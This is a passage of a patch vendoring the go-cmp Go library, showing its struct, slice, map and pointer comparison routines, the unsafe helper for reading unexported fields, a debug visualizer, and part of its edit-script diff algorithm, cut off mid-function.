func (s *state) compareStruct(t reflect.Type, vx, vy reflect.Value) {
|
||||
var addr bool
|
||||
var vax, vay reflect.Value // Addressable versions of vx and vy
|
||||
|
||||
var mayForce, mayForceInit bool
|
||||
step := StructField{&structField{}}
|
||||
for i := 0; i < t.NumField(); i++ {
|
||||
step.typ = t.Field(i).Type
|
||||
step.vx = vx.Field(i)
|
||||
step.vy = vy.Field(i)
|
||||
step.name = t.Field(i).Name
|
||||
step.idx = i
|
||||
step.unexported = !isExported(step.name)
|
||||
if step.unexported {
|
||||
if step.name == "_" {
|
||||
continue
|
||||
}
|
||||
// Defer checking of unexported fields until later to give an
|
||||
// Ignore a chance to ignore the field.
|
||||
if !vax.IsValid() || !vay.IsValid() {
|
||||
// For retrieveUnexportedField to work, the parent struct must
|
||||
// be addressable. Create a new copy of the values if
|
||||
// necessary to make them addressable.
|
||||
addr = vx.CanAddr() || vy.CanAddr()
|
||||
vax = makeAddressable(vx)
|
||||
vay = makeAddressable(vy)
|
||||
}
|
||||
if !mayForceInit {
|
||||
for _, xf := range s.exporters {
|
||||
mayForce = mayForce || xf(t)
|
||||
}
|
||||
mayForceInit = true
|
||||
}
|
||||
step.mayForce = mayForce
|
||||
step.paddr = addr
|
||||
step.pvx = vax
|
||||
step.pvy = vay
|
||||
step.field = t.Field(i)
|
||||
}
|
||||
s.compareAny(step)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *state) compareSlice(t reflect.Type, vx, vy reflect.Value) {
|
||||
isSlice := t.Kind() == reflect.Slice
|
||||
if isSlice && (vx.IsNil() || vy.IsNil()) {
|
||||
s.report(vx.IsNil() && vy.IsNil(), 0)
|
||||
return
|
||||
}
|
||||
|
||||
// NOTE: It is incorrect to call curPtrs.Push on the slice header pointer
|
||||
// since slices represents a list of pointers, rather than a single pointer.
|
||||
// The pointer checking logic must be handled on a per-element basis
|
||||
// in compareAny.
|
||||
//
|
||||
// A slice header (see reflect.SliceHeader) in Go is a tuple of a starting
|
||||
// pointer P, a length N, and a capacity C. Supposing each slice element has
|
||||
// a memory size of M, then the slice is equivalent to the list of pointers:
|
||||
// [P+i*M for i in range(N)]
|
||||
//
|
||||
// For example, v[:0] and v[:1] are slices with the same starting pointer,
|
||||
// but they are clearly different values. Using the slice pointer alone
|
||||
// violates the assumption that equal pointers implies equal values.
|
||||
|
||||
step := SliceIndex{&sliceIndex{pathStep: pathStep{typ: t.Elem()}, isSlice: isSlice}}
|
||||
withIndexes := func(ix, iy int) SliceIndex {
|
||||
if ix >= 0 {
|
||||
step.vx, step.xkey = vx.Index(ix), ix
|
||||
} else {
|
||||
step.vx, step.xkey = reflect.Value{}, -1
|
||||
}
|
||||
if iy >= 0 {
|
||||
step.vy, step.ykey = vy.Index(iy), iy
|
||||
} else {
|
||||
step.vy, step.ykey = reflect.Value{}, -1
|
||||
}
|
||||
return step
|
||||
}
|
||||
|
||||
// Ignore options are able to ignore missing elements in a slice.
|
||||
// However, detecting these reliably requires an optimal differencing
|
||||
// algorithm, for which diff.Difference is not.
|
||||
//
|
||||
// Instead, we first iterate through both slices to detect which elements
|
||||
// would be ignored if standing alone. The index of non-discarded elements
|
||||
// are stored in a separate slice, which diffing is then performed on.
|
||||
var indexesX, indexesY []int
|
||||
var ignoredX, ignoredY []bool
|
||||
for ix := 0; ix < vx.Len(); ix++ {
|
||||
ignored := s.statelessCompare(withIndexes(ix, -1)).NumDiff == 0
|
||||
if !ignored {
|
||||
indexesX = append(indexesX, ix)
|
||||
}
|
||||
ignoredX = append(ignoredX, ignored)
|
||||
}
|
||||
for iy := 0; iy < vy.Len(); iy++ {
|
||||
ignored := s.statelessCompare(withIndexes(-1, iy)).NumDiff == 0
|
||||
if !ignored {
|
||||
indexesY = append(indexesY, iy)
|
||||
}
|
||||
ignoredY = append(ignoredY, ignored)
|
||||
}
|
||||
|
||||
// Compute an edit-script for slices vx and vy (excluding ignored elements).
|
||||
edits := diff.Difference(len(indexesX), len(indexesY), func(ix, iy int) diff.Result {
|
||||
return s.statelessCompare(withIndexes(indexesX[ix], indexesY[iy]))
|
||||
})
|
||||
|
||||
// Replay the ignore-scripts and the edit-script.
|
||||
var ix, iy int
|
||||
for ix < vx.Len() || iy < vy.Len() {
|
||||
var e diff.EditType
|
||||
switch {
|
||||
case ix < len(ignoredX) && ignoredX[ix]:
|
||||
e = diff.UniqueX
|
||||
case iy < len(ignoredY) && ignoredY[iy]:
|
||||
e = diff.UniqueY
|
||||
default:
|
||||
e, edits = edits[0], edits[1:]
|
||||
}
|
||||
switch e {
|
||||
case diff.UniqueX:
|
||||
s.compareAny(withIndexes(ix, -1))
|
||||
ix++
|
||||
case diff.UniqueY:
|
||||
s.compareAny(withIndexes(-1, iy))
|
||||
iy++
|
||||
default:
|
||||
s.compareAny(withIndexes(ix, iy))
|
||||
ix++
|
||||
iy++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *state) compareMap(t reflect.Type, vx, vy reflect.Value) {
|
||||
if vx.IsNil() || vy.IsNil() {
|
||||
s.report(vx.IsNil() && vy.IsNil(), 0)
|
||||
return
|
||||
}
|
||||
|
||||
// Cycle-detection for maps.
|
||||
if eq, visited := s.curPtrs.Push(vx, vy); visited {
|
||||
s.report(eq, reportByCycle)
|
||||
return
|
||||
}
|
||||
defer s.curPtrs.Pop(vx, vy)
|
||||
|
||||
// We combine and sort the two map keys so that we can perform the
|
||||
// comparisons in a deterministic order.
|
||||
step := MapIndex{&mapIndex{pathStep: pathStep{typ: t.Elem()}}}
|
||||
for _, k := range value.SortKeys(append(vx.MapKeys(), vy.MapKeys()...)) {
|
||||
step.vx = vx.MapIndex(k)
|
||||
step.vy = vy.MapIndex(k)
|
||||
step.key = k
|
||||
if !step.vx.IsValid() && !step.vy.IsValid() {
|
||||
// It is possible for both vx and vy to be invalid if the
|
||||
// key contained a NaN value in it.
|
||||
//
|
||||
// Even with the ability to retrieve NaN keys in Go 1.12,
|
||||
// there still isn't a sensible way to compare the values since
|
||||
// a NaN key may map to multiple unordered values.
|
||||
// The most reasonable way to compare NaNs would be to compare the
|
||||
// set of values. However, this is impossible to do efficiently
|
||||
// since set equality is provably an O(n^2) operation given only
|
||||
// an Equal function. If we had a Less function or Hash function,
|
||||
// this could be done in O(n*log(n)) or O(n), respectively.
|
||||
//
|
||||
// Rather than adding complex logic to deal with NaNs, make it
|
||||
// the user's responsibility to compare such obscure maps.
|
||||
const help = "consider providing a Comparer to compare the map"
|
||||
panic(fmt.Sprintf("%#v has map key with NaNs\n%s", s.curPath, help))
|
||||
}
|
||||
s.compareAny(step)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *state) comparePtr(t reflect.Type, vx, vy reflect.Value) {
|
||||
if vx.IsNil() || vy.IsNil() {
|
||||
s.report(vx.IsNil() && vy.IsNil(), 0)
|
||||
return
|
||||
}
|
||||
|
||||
// Cycle-detection for pointers.
|
||||
if eq, visited := s.curPtrs.Push(vx, vy); visited {
|
||||
s.report(eq, reportByCycle)
|
||||
return
|
||||
}
|
||||
defer s.curPtrs.Pop(vx, vy)
|
||||
|
||||
vx, vy = vx.Elem(), vy.Elem()
|
||||
s.compareAny(Indirect{&indirect{pathStep{t.Elem(), vx, vy}}})
|
||||
}
|
||||
|
||||
func (s *state) compareInterface(t reflect.Type, vx, vy reflect.Value) {
|
||||
if vx.IsNil() || vy.IsNil() {
|
||||
s.report(vx.IsNil() && vy.IsNil(), 0)
|
||||
return
|
||||
}
|
||||
vx, vy = vx.Elem(), vy.Elem()
|
||||
if vx.Type() != vy.Type() {
|
||||
s.report(false, 0)
|
||||
return
|
||||
}
|
||||
s.compareAny(TypeAssertion{&typeAssertion{pathStep{vx.Type(), vx, vy}}})
|
||||
}
|
||||
|
||||
func (s *state) report(eq bool, rf resultFlags) {
|
||||
if rf&reportByIgnore == 0 {
|
||||
if eq {
|
||||
s.result.NumSame++
|
||||
rf |= reportEqual
|
||||
} else {
|
||||
s.result.NumDiff++
|
||||
rf |= reportUnequal
|
||||
}
|
||||
}
|
||||
for _, r := range s.reporters {
|
||||
r.Report(Result{flags: rf})
|
||||
}
|
||||
}
|
||||
|
||||
// recChecker tracks the state needed to periodically perform checks that
|
||||
// user provided transformers are not stuck in an infinitely recursive cycle.
|
||||
type recChecker struct{ next int }
|
||||
|
||||
// Check scans the Path for any recursive transformers and panics when any
|
||||
// recursive transformers are detected. Note that the presence of a
|
||||
// recursive Transformer does not necessarily imply an infinite cycle.
|
||||
// As such, this check only activates after some minimal number of path steps.
|
||||
func (rc *recChecker) Check(p Path) {
|
||||
const minLen = 1 << 16
|
||||
if rc.next == 0 {
|
||||
rc.next = minLen
|
||||
}
|
||||
if len(p) < rc.next {
|
||||
return
|
||||
}
|
||||
rc.next <<= 1
|
||||
|
||||
// Check whether the same transformer has appeared at least twice.
|
||||
var ss []string
|
||||
m := map[Option]int{}
|
||||
for _, ps := range p {
|
||||
if t, ok := ps.(Transform); ok {
|
||||
t := t.Option()
|
||||
if m[t] == 1 { // Transformer was used exactly once before
|
||||
tf := t.(*transformer).fnc.Type()
|
||||
ss = append(ss, fmt.Sprintf("%v: %v => %v", t, tf.In(0), tf.Out(0)))
|
||||
}
|
||||
m[t]++
|
||||
}
|
||||
}
|
||||
if len(ss) > 0 {
|
||||
const warning = "recursive set of Transformers detected"
|
||||
const help = "consider using cmpopts.AcyclicTransformer"
|
||||
set := strings.Join(ss, "\n\t")
|
||||
panic(fmt.Sprintf("%s:\n\t%s\n%s", warning, set, help))
|
||||
}
|
||||
}
|
||||
|
||||
// dynChecker tracks the state needed to periodically perform checks that
|
||||
// user provided functions are symmetric and deterministic.
|
||||
// The zero value is safe for immediate use.
|
||||
type dynChecker struct{ curr, next int }
|
||||
|
||||
// Next increments the state and reports whether a check should be performed.
|
||||
//
|
||||
// Checks occur every Nth function call, where N is a triangular number:
|
||||
// 0 1 3 6 10 15 21 28 36 45 55 66 78 91 105 120 136 153 171 190 ...
|
||||
// See https://en.wikipedia.org/wiki/Triangular_number
|
||||
//
|
||||
// This sequence ensures that the cost of checks drops significantly as
|
||||
// the number of functions calls grows larger.
|
||||
func (dc *dynChecker) Next() bool {
|
||||
ok := dc.curr == dc.next
|
||||
if ok {
|
||||
dc.curr = 0
|
||||
dc.next++
|
||||
}
|
||||
dc.curr++
|
||||
return ok
|
||||
}
|
||||
|
||||
// makeAddressable returns a value that is always addressable.
|
||||
// It returns the input verbatim if it is already addressable,
|
||||
// otherwise it creates a new value and returns an addressable copy.
|
||||
func makeAddressable(v reflect.Value) reflect.Value {
|
||||
if v.CanAddr() {
|
||||
return v
|
||||
}
|
||||
vc := reflect.New(v.Type()).Elem()
|
||||
vc.Set(v)
|
||||
return vc
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
// Copyright 2017, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build purego
|
||||
// +build purego
|
||||
|
||||
package cmp
|
||||
|
||||
import "reflect"
|
||||
|
||||
const supportExporters = false
|
||||
|
||||
func retrieveUnexportedField(reflect.Value, reflect.StructField, bool) reflect.Value {
|
||||
panic("no support for forcibly accessing unexported fields")
|
||||
}
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
// Copyright 2017, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build !purego
|
||||
// +build !purego
|
||||
|
||||
package cmp
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const supportExporters = true
|
||||
|
||||
// retrieveUnexportedField uses unsafe to forcibly retrieve any field from
|
||||
// a struct such that the value has read-write permissions.
|
||||
//
|
||||
// The parent struct, v, must be addressable, while f must be a StructField
|
||||
// describing the field to retrieve. If addr is false,
|
||||
// then the returned value will be shallowed copied to be non-addressable.
|
||||
func retrieveUnexportedField(v reflect.Value, f reflect.StructField, addr bool) reflect.Value {
|
||||
ve := reflect.NewAt(f.Type, unsafe.Pointer(uintptr(unsafe.Pointer(v.UnsafeAddr()))+f.Offset)).Elem()
|
||||
if !addr {
|
||||
// A field is addressable if and only if the struct is addressable.
|
||||
// If the original parent value was not addressable, shallow copy the
|
||||
// value to make it non-addressable to avoid leaking an implementation
|
||||
// detail of how forcibly exporting a field works.
|
||||
if ve.Kind() == reflect.Interface && ve.IsNil() {
|
||||
return reflect.Zero(f.Type)
|
||||
}
|
||||
return reflect.ValueOf(ve.Interface()).Convert(f.Type)
|
||||
}
|
||||
return ve
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Copyright 2017, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build !cmp_debug
|
||||
// +build !cmp_debug
|
||||
|
||||
package diff
|
||||
|
||||
var debug debugger
|
||||
|
||||
type debugger struct{}
|
||||
|
||||
func (debugger) Begin(_, _ int, f EqualFunc, _, _ *EditScript) EqualFunc {
|
||||
return f
|
||||
}
|
||||
func (debugger) Update() {}
|
||||
func (debugger) Finish() {}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
// Copyright 2017, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build cmp_debug
|
||||
// +build cmp_debug
|
||||
|
||||
package diff
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The algorithm can be seen running in real-time by enabling debugging:
|
||||
// go test -tags=cmp_debug -v
|
||||
//
|
||||
// Example output:
|
||||
// === RUN TestDifference/#34
|
||||
// ┌───────────────────────────────┐
|
||||
// │ \ · · · · · · · · · · · · · · │
|
||||
// │ · # · · · · · · · · · · · · · │
|
||||
// │ · \ · · · · · · · · · · · · · │
|
||||
// │ · · \ · · · · · · · · · · · · │
|
||||
// │ · · · X # · · · · · · · · · · │
|
||||
// │ · · · # \ · · · · · · · · · · │
|
||||
// │ · · · · · # # · · · · · · · · │
|
||||
// │ · · · · · # \ · · · · · · · · │
|
||||
// │ · · · · · · · \ · · · · · · · │
|
||||
// │ · · · · · · · · \ · · · · · · │
|
||||
// │ · · · · · · · · · \ · · · · · │
|
||||
// │ · · · · · · · · · · \ · · # · │
|
||||
// │ · · · · · · · · · · · \ # # · │
|
||||
// │ · · · · · · · · · · · # # # · │
|
||||
// │ · · · · · · · · · · # # # # · │
|
||||
// │ · · · · · · · · · # # # # # · │
|
||||
// │ · · · · · · · · · · · · · · \ │
|
||||
// └───────────────────────────────┘
|
||||
// [.Y..M.XY......YXYXY.|]
|
||||
//
|
||||
// The grid represents the edit-graph where the horizontal axis represents
|
||||
// list X and the vertical axis represents list Y. The start of the two lists
|
||||
// is the top-left, while the ends are the bottom-right. The '·' represents
|
||||
// an unexplored node in the graph. The '\' indicates that the two symbols
|
||||
// from list X and Y are equal. The 'X' indicates that two symbols are similar
|
||||
// (but not exactly equal) to each other. The '#' indicates that the two symbols
|
||||
// are different (and not similar). The algorithm traverses this graph trying to
|
||||
// make the paths starting in the top-left and the bottom-right connect.
|
||||
//
|
||||
// The series of '.', 'X', 'Y', and 'M' characters at the bottom represents
|
||||
// the currently established path from the forward and reverse searches,
|
||||
// separated by a '|' character.
|
||||
|
||||
const (
|
||||
updateDelay = 100 * time.Millisecond
|
||||
finishDelay = 500 * time.Millisecond
|
||||
ansiTerminal = true // ANSI escape codes used to move terminal cursor
|
||||
)
|
||||
|
||||
var debug debugger
|
||||
|
||||
type debugger struct {
|
||||
sync.Mutex
|
||||
p1, p2 EditScript
|
||||
fwdPath, revPath *EditScript
|
||||
grid []byte
|
||||
lines int
|
||||
}
|
||||
|
||||
func (dbg *debugger) Begin(nx, ny int, f EqualFunc, p1, p2 *EditScript) EqualFunc {
|
||||
dbg.Lock()
|
||||
dbg.fwdPath, dbg.revPath = p1, p2
|
||||
top := "┌─" + strings.Repeat("──", nx) + "┐\n"
|
||||
row := "│ " + strings.Repeat("· ", nx) + "│\n"
|
||||
btm := "└─" + strings.Repeat("──", nx) + "┘\n"
|
||||
dbg.grid = []byte(top + strings.Repeat(row, ny) + btm)
|
||||
dbg.lines = strings.Count(dbg.String(), "\n")
|
||||
fmt.Print(dbg)
|
||||
|
||||
// Wrap the EqualFunc so that we can intercept each result.
|
||||
return func(ix, iy int) (r Result) {
|
||||
cell := dbg.grid[len(top)+iy*len(row):][len("│ ")+len("· ")*ix:][:len("·")]
|
||||
for i := range cell {
|
||||
cell[i] = 0 // Zero out the multiple bytes of UTF-8 middle-dot
|
||||
}
|
||||
switch r = f(ix, iy); {
|
||||
case r.Equal():
|
||||
cell[0] = '\\'
|
||||
case r.Similar():
|
||||
cell[0] = 'X'
|
||||
default:
|
||||
cell[0] = '#'
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (dbg *debugger) Update() {
|
||||
dbg.print(updateDelay)
|
||||
}
|
||||
|
||||
func (dbg *debugger) Finish() {
|
||||
dbg.print(finishDelay)
|
||||
dbg.Unlock()
|
||||
}
|
||||
|
||||
func (dbg *debugger) String() string {
|
||||
dbg.p1, dbg.p2 = *dbg.fwdPath, dbg.p2[:0]
|
||||
for i := len(*dbg.revPath) - 1; i >= 0; i-- {
|
||||
dbg.p2 = append(dbg.p2, (*dbg.revPath)[i])
|
||||
}
|
||||
return fmt.Sprintf("%s[%v|%v]\n\n", dbg.grid, dbg.p1, dbg.p2)
|
||||
}
|
||||
|
||||
func (dbg *debugger) print(d time.Duration) {
|
||||
if ansiTerminal {
|
||||
fmt.Printf("\x1b[%dA", dbg.lines) // Reset terminal cursor
|
||||
}
|
||||
fmt.Print(dbg)
|
||||
time.Sleep(d)
|
||||
}
|
||||
+398
@@ -0,0 +1,398 @@
|
||||
// Copyright 2017, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package diff implements an algorithm for producing edit-scripts.
|
||||
// The edit-script is a sequence of operations needed to transform one list
|
||||
// of symbols into another (or vice-versa). The edits allowed are insertions,
|
||||
// deletions, and modifications. The summation of all edits is called the
|
||||
// Levenshtein distance as this problem is well-known in computer science.
|
||||
//
|
||||
// This package prioritizes performance over accuracy. That is, the run time
|
||||
// is more important than obtaining a minimal Levenshtein distance.
|
||||
package diff
|
||||
|
||||
import (
|
||||
"math/rand"
|
||||
"time"
|
||||
|
||||
"github.com/google/go-cmp/cmp/internal/flags"
|
||||
)
|
||||
|
||||
// EditType represents a single operation within an edit-script.
|
||||
type EditType uint8
|
||||
|
||||
const (
|
||||
// Identity indicates that a symbol pair is identical in both list X and Y.
|
||||
Identity EditType = iota
|
||||
// UniqueX indicates that a symbol only exists in X and not Y.
|
||||
UniqueX
|
||||
// UniqueY indicates that a symbol only exists in Y and not X.
|
||||
UniqueY
|
||||
// Modified indicates that a symbol pair is a modification of each other.
|
||||
Modified
|
||||
)
|
||||
|
||||
// EditScript represents the series of differences between two lists.
|
||||
type EditScript []EditType
|
||||
|
||||
// String returns a human-readable string representing the edit-script where
|
||||
// Identity, UniqueX, UniqueY, and Modified are represented by the
|
||||
// '.', 'X', 'Y', and 'M' characters, respectively.
|
||||
func (es EditScript) String() string {
|
||||
b := make([]byte, len(es))
|
||||
for i, e := range es {
|
||||
switch e {
|
||||
case Identity:
|
||||
b[i] = '.'
|
||||
case UniqueX:
|
||||
b[i] = 'X'
|
||||
case UniqueY:
|
||||
b[i] = 'Y'
|
||||
case Modified:
|
||||
b[i] = 'M'
|
||||
default:
|
||||
panic("invalid edit-type")
|
||||
}
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// stats returns a histogram of the number of each type of edit operation.
|
||||
func (es EditScript) stats() (s struct{ NI, NX, NY, NM int }) {
|
||||
for _, e := range es {
|
||||
switch e {
|
||||
case Identity:
|
||||
s.NI++
|
||||
case UniqueX:
|
||||
s.NX++
|
||||
case UniqueY:
|
||||
s.NY++
|
||||
case Modified:
|
||||
s.NM++
|
||||
default:
|
||||
panic("invalid edit-type")
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Dist is the Levenshtein distance and is guaranteed to be 0 if and only if
|
||||
// lists X and Y are equal.
|
||||
func (es EditScript) Dist() int { return len(es) - es.stats().NI }
|
||||
|
||||
// LenX is the length of the X list.
|
||||
func (es EditScript) LenX() int { return len(es) - es.stats().NY }
|
||||
|
||||
// LenY is the length of the Y list.
|
||||
func (es EditScript) LenY() int { return len(es) - es.stats().NX }
|
||||
|
||||
// EqualFunc reports whether the symbols at indexes ix and iy are equal.
|
||||
// When called by Difference, the index is guaranteed to be within nx and ny.
|
||||
type EqualFunc func(ix int, iy int) Result
|
||||
|
||||
// Result is the result of comparison.
|
||||
// NumSame is the number of sub-elements that are equal.
|
||||
// NumDiff is the number of sub-elements that are not equal.
|
||||
type Result struct{ NumSame, NumDiff int }
|
||||
|
||||
// BoolResult returns a Result that is either Equal or not Equal.
|
||||
func BoolResult(b bool) Result {
|
||||
if b {
|
||||
return Result{NumSame: 1} // Equal, Similar
|
||||
} else {
|
||||
return Result{NumDiff: 2} // Not Equal, not Similar
|
||||
}
|
||||
}
|
||||
|
||||
// Equal indicates whether the symbols are equal. Two symbols are equal
|
||||
// if and only if NumDiff == 0. If Equal, then they are also Similar.
|
||||
func (r Result) Equal() bool { return r.NumDiff == 0 }
|
||||
|
||||
// Similar indicates whether two symbols are similar and may be represented
|
||||
// by using the Modified type. As a special case, we consider binary comparisons
|
||||
// (i.e., those that return Result{1, 0} or Result{0, 1}) to be similar.
|
||||
//
|
||||
// The exact ratio of NumSame to NumDiff to determine similarity may change.
|
||||
func (r Result) Similar() bool {
|
||||
// Use NumSame+1 to offset NumSame so that binary comparisons are similar.
|
||||
return r.NumSame+1 >= r.NumDiff
|
||||
}
|
||||
|
||||
var randBool = rand.New(rand.NewSource(time.Now().Unix())).Intn(2) == 0
|
||||
|
||||
// Difference reports whether two lists of lengths nx and ny are equal
|
||||
// given the definition of equality provided as f.
|
||||
//
|
||||
// This function returns an edit-script, which is a sequence of operations
|
||||
// needed to convert one list into the other. The following invariants for
|
||||
// the edit-script are maintained:
|
||||
// • eq == (es.Dist()==0)
|
||||
// • nx == es.LenX()
|
||||
// • ny == es.LenY()
|
||||
//
|
||||
// This algorithm is not guaranteed to be an optimal solution (i.e., one that
|
||||
// produces an edit-script with a minimal Levenshtein distance). This algorithm
|
||||
// favors performance over optimality. The exact output is not guaranteed to
|
||||
// be stable and may change over time.
|
||||
func Difference(nx, ny int, f EqualFunc) (es EditScript) {
|
||||
// This algorithm is based on traversing what is known as an "edit-graph".
|
||||
// See Figure 1 from "An O(ND) Difference Algorithm and Its Variations"
|
||||
// by Eugene W. Myers. Since D can be as large as N itself, this is
|
||||
// effectively O(N^2). Unlike the algorithm from that paper, we are not
|
||||
// interested in the optimal path, but at least some "decent" path.
|
||||
//
|
||||
// For example, let X and Y be lists of symbols:
|
||||
// X = [A B C A B B A]
|
||||
// Y = [C B A B A C]
|
||||
//
|
||||
// The edit-graph can be drawn as the following:
|
||||
// A B C A B B A
|
||||
// ┌─────────────┐
|
||||
// C │_|_|\|_|_|_|_│ 0
|
||||
// B │_|\|_|_|\|\|_│ 1
|
||||
// A │\|_|_|\|_|_|\│ 2
|
||||
// B │_|\|_|_|\|\|_│ 3
|
||||
// A │\|_|_|\|_|_|\│ 4
|
||||
// C │ | |\| | | | │ 5
|
||||
// └─────────────┘ 6
|
||||
// 0 1 2 3 4 5 6 7
|
||||
//
|
||||
// List X is written along the horizontal axis, while list Y is written
|
||||
// along the vertical axis. At any point on this grid, if the symbol in
|
||||
// list X matches the corresponding symbol in list Y, then a '\' is drawn.
|
||||
// The goal of any minimal edit-script algorithm is to find a path from the
|
||||
// top-left corner to the bottom-right corner, while traveling through the
|
||||
// fewest horizontal or vertical edges.
|
||||
// A horizontal edge is equivalent to inserting a symbol from list X.
|
||||
// A vertical edge is equivalent to inserting a symbol from list Y.
|
||||
// A diagonal edge is equivalent to a matching symbol between both X and Y.
|
||||
|
||||
// Invariants:
|
||||
// • 0 ≤ fwdPath.X ≤ (fwdFrontier.X, revFrontier.X) ≤ revPath.X ≤ nx
|
||||
// • 0 ≤ fwdPath.Y ≤ (fwdFrontier.Y, revFrontier.Y) ≤ revPath.Y ≤ ny
|
||||
//
|
||||
// In general:
|
||||
// • fwdFrontier.X < revFrontier.X
|
||||
// • fwdFrontier.Y < revFrontier.Y
|
||||
// Unless, it is time for the algorithm to terminate.
|
||||
fwdPath := path{+1, point{0, 0}, make(EditScript, 0, (nx+ny)/2)}
|
||||
revPath := path{-1, point{nx, ny}, make(EditScript, 0)}
|
||||
fwdFrontier := fwdPath.point // Forward search frontier
|
||||
revFrontier := revPath.point // Reverse search frontier
|
||||
|
||||
// Search budget bounds the cost of searching for better paths.
|
||||
// The longest sequence of non-matching symbols that can be tolerated is
|
||||
// approximately the square-root of the search budget.
|
||||
searchBudget := 4 * (nx + ny) // O(n)
|
||||
|
||||
// Running the tests with the "cmp_debug" build tag prints a visualization
|
||||
// of the algorithm running in real-time. This is educational for
|
||||
// understanding how the algorithm works. See debug_enable.go.
|
||||
f = debug.Begin(nx, ny, f, &fwdPath.es, &revPath.es)
|
||||
|
||||
// The algorithm below is a greedy, meet-in-the-middle algorithm for
|
||||
// computing sub-optimal edit-scripts between two lists.
|
||||
//
|
||||
// The algorithm is approximately as follows:
|
||||
// • Searching for differences switches back-and-forth between
|
||||
// a search that starts at the beginning (the top-left corner), and
|
||||
// a search that starts at the end (the bottom-right corner). The goal of
|
||||
// the search is connect with the search from the opposite corner.
|
||||
// • As we search, we build a path in a greedy manner, where the first
|
||||
// match seen is added to the path (this is sub-optimal, but provides a
|
||||
// decent result in practice). When matches are found, we try the next pair
|
||||
// of symbols in the lists and follow all matches as far as possible.
|
||||
// • When searching for matches, we search along a diagonal going through
|
||||
// through the "frontier" point. If no matches are found, we advance the
|
||||
// frontier towards the opposite corner.
|
||||
// • This algorithm terminates when either the X coordinates or the
|
||||
// Y coordinates of the forward and reverse frontier points ever intersect.
|
||||
|
||||
// This algorithm is correct even if searching only in the forward direction
|
||||
// or in the reverse direction. We do both because it is commonly observed
|
||||
// that two lists commonly differ because elements were added to the front
|
||||
// or end of the other list.
|
||||
//
|
||||
// Non-deterministically start with either the forward or reverse direction
|
||||
// to introduce some deliberate instability so that we have the flexibility
|
||||
// to change this algorithm in the future.
|
||||
if flags.Deterministic || randBool {
|
||||
goto forwardSearch
|
||||
} else {
|
||||
goto reverseSearch
|
||||
}
|
||||
|
||||
forwardSearch:
|
||||
{
|
||||
// Forward search from the beginning.
|
||||
if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 {
|
||||
goto finishSearch
|
||||
}
|
||||
for stop1, stop2, i := false, false, 0; !(stop1 && stop2) && searchBudget > 0; i++ {
|
||||
// Search in a diagonal pattern for a match.
|
||||
z := zigzag(i)
|
||||
p := point{fwdFrontier.X + z, fwdFrontier.Y - z}
|
||||
switch {
|
||||
case p.X >= revPath.X || p.Y < fwdPath.Y:
|
||||
stop1 = true // Hit top-right corner
|
||||
case p.Y >= revPath.Y || p.X < fwdPath.X:
|
||||
stop2 = true // Hit bottom-left corner
|
||||
case f(p.X, p.Y).Equal():
|
||||
// Match found, so connect the path to this point.
|
||||
fwdPath.connect(p, f)
|
||||
fwdPath.append(Identity)
|
||||
// Follow sequence of matches as far as possible.
|
||||
for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y {
|
||||
if !f(fwdPath.X, fwdPath.Y).Equal() {
|
||||
break
|
||||
}
|
||||
fwdPath.append(Identity)
|
||||
}
|
||||
fwdFrontier = fwdPath.point
|
||||
stop1, stop2 = true, true
|
||||
default:
|
||||
searchBudget-- // Match not found
|
||||
}
|
||||
debug.Update()
|
||||
}
|
||||
// Advance the frontier towards reverse point.
|
||||
if revPath.X-fwdFrontier.X >= revPath.Y-fwdFrontier.Y {
|
||||
fwdFrontier.X++
|
||||
} else {
|
||||
fwdFrontier.Y++
|
||||
}
|
||||
goto reverseSearch
|
||||
}
|
||||
|
||||
reverseSearch:
|
||||
{
|
||||
// Reverse search from the end.
|
||||
if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 {
|
||||
goto finishSearch
|
||||
}
|
||||
for stop1, stop2, i := false, false, 0; !(stop1 && stop2) && searchBudget > 0; i++ {
|
||||
// Search in a diagonal pattern for a match.
|
||||
z := zigzag(i)
|
||||
p := point{revFrontier.X - z, revFrontier.Y + z}
|
||||
switch {
|
||||
case fwdPath.X >= p.X || revPath.Y < p.Y:
|
||||
stop1 = true // Hit bottom-left corner
|
||||
case fwdPath.Y >= p.Y || revPath.X < p.X:
|
||||
stop2 = true // Hit top-right corner
|
||||
case f(p.X-1, p.Y-1).Equal():
|
||||
// Match found, so connect the path to this point.
|
||||
revPath.connect(p, f)
|
||||
revPath.append(Identity)
|
||||
// Follow sequence of matches as far as possible.
|
||||
for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y {
|
||||
if !f(revPath.X-1, revPath.Y-1).Equal() {
|
||||
break
|
||||
}
|
||||
revPath.append(Identity)
|
||||
}
|
||||
revFrontier = revPath.point
|
||||
stop1, stop2 = true, true
|
||||
default:
|
||||
searchBudget-- // Match not found
|
||||
}
|
||||
debug.Update()
|
||||
}
|
||||
// Advance the frontier towards forward point.
|
||||
